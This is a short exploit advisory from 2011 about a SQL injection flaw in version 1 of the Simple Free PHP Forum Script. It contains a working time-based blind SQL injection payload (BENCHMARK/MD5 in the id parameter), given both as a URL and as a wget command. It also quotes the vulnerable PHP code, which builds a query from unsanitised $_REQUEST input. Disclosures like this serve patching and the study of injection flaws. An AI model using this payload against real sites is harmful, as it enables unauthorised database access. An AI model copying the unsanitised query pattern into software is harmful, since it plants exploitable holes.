Simple Free PHP Forum Script <= SQL Injection Vulnerability

                                                # Exploit Title: Simple Free PHP Forum Script <= 1 SQL Injection Vulnerability
# Date: 2011-10-19
# Author: Skraps, Jackie Craig Sparks(jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Software Link: http://www.phpforumscript.com/?page_id=11
# Version: 1 (tested)

This script is riddled of unsanitized REQUEST variables that allows multiple SQL injections.

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     PoC
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http://127.0.0.1/forum/index.php?show=cat&id=1' AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0) AND id='1

wget "http://127.0.0.1/forum/index.php?show=cat&id=1' AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0) AND id='1"

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Vurnerable Code
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Line 150 of discussion.php:
 case 'cat':
                $get_id=$_REQUEST["id"];
                $page->Set("cat_id",$get_id);
                $query="SELECT * FROM discussion_category WHERE id='$get_id' LIMIT 1";